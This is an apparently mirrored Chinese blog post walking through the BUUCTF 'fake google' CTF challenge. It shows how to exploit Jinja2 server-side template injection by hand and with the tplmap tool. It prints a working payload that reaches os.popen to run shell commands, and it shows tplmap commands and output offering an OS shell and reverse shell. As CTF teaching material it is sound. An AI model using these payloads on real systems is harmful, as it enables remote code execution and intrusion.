zoukankan      html  css  js  c++  java
  • 记一次tplmap的简单使用案例

    记一次tplmap的简单使用案例


    Tplmap简介

    Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。一些受支持的模板引擎包括PHP(代码评估),Ruby(代码评估),JaveScript(代码评估),Python(代码评估),ERB,Jinja2和Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。

    tplmap安装步骤

    在kali打开终端,输入

    git clone https://github.com/epinna/tplmap
    

    git clone具体的可以看我这篇博文哦

    https://www.cnblogs.com/LEOGG321/p/13434491.html

    以上就是我们安装的过程了,接下来拿一道例题来做个使用案例

    我们拿BUUCTF来复现,[BJDCTF 2nd]fake google这道题

    案例[BJDCTF 2nd]fake google

    方法一:手工注

    这道题可以手工注,这里直接放一下payload

     {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}
    

    模板注入语句解释如下

    • {% for c in [].__class__.__base__.__subclasses__() %} //list下遍历
    • {% if c.__name__=='catch_warnings' %} //判断目标
    • {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}} //拼接
    • {% endif %}{% endfor %} //结束循环和判断

    方法二:tplmap

    使用tplmap工具

    在tplmap文件夹下打开终端

    键入命令,-u指定url

    ./tplmap.py -u http://4ed902ae-b677-45c3-a0c1-4c8a88af7f07.node3.buuoj.cn/qaq?name=1
    

    下面是回显信息

    root@kali:~/tplmap# ./tplmap.py -u http://4ed902ae-b677-45c3-a0c1-4c8a88af7f07.node3.buuoj.cn/qaq?name=1
    [+] Tplmap 0.5
        Automatic Server-Side Template Injection Detection and Exploitation Tool
    
    [+] Testing if GET parameter 'name' is injectable
    [+] Smarty plugin is testing rendering with tag '*'
    [+] Smarty plugin is testing blind injection
    [+] Mako plugin is testing rendering with tag '${*}'
    [+] Mako plugin is testing blind injection
    [+] Python plugin is testing rendering with tag 'str(*)'
    [+] Python plugin is testing blind injection
    [+] Tornado plugin is testing rendering with tag '{{*}}'
    [+] Tornado plugin is testing blind injection
    [+] Jinja2 plugin is testing rendering with tag '{{*}}'
    [+] Jinja2 plugin has confirmed injection with tag '{{*}}'
    [+] Tplmap identified the following injection point:
    
      GET parameter: name
      Engine: Jinja2
      Injection: {{*}}
      Context: text
      OS: posix-linux
      Technique: render
      Capabilities:
    
       Shell command execution: ok
       Bind and reverse shell: ok
       File write: ok
       File read: ok
       Code evaluation: ok, python code
    
    [+] Rerun tplmap providing one of the following options:
    
        --os-shell				Run shell on the target
        --os-cmd				Execute shell commands
        --bind-shell PORT			Connect to a shell bind to a target port
        --reverse-shell HOST PORT	Send a shell back to the attacker's port
        --upload LOCAL REMOTE	Upload files to the server
        --download REMOTE LOCAL	Download remote files
    

    可以看到是Jinja2模板,同时最下面还提示我们可以使用--os-shell拿shell

    ./tplmap.py -u http://4ed902ae-b677-45c3-a0c1-4c8a88af7f07.node3.buuoj.cn/qaq?name=1 --engine=Jinja2 --os-shell
    

    在输入完url后,别忘了--engine指定模板

    image-20200805171532115

    ls ../看下目录,发现有flag,cat /flag即可

    image-20200805171959240

    拿下!

  • 相关阅读:
    源码分析:①ReentrantLock之公平锁和非公平锁
    源码分析:同步基础框架——AbstractQueuedSynchronizer(AQS)
    java 同步锁:synchronized 关键字
    Java 中的锁优化
    Java 魔法类:Unsafe 解析
    实战:SpringBoot 2.3.0新特性之优雅停机
    实战:windows下使用docker部署springboot web demo项目
    版本控制SVN的使用笔记
    Maven项目管理:SpringMVC+Mybatis+Velocity整合笔记
    java常用集合总结
  • 原文地址:https://www.cnblogs.com/LEOGG321/p/13441283.html
Copyright © 2011-2022 走看看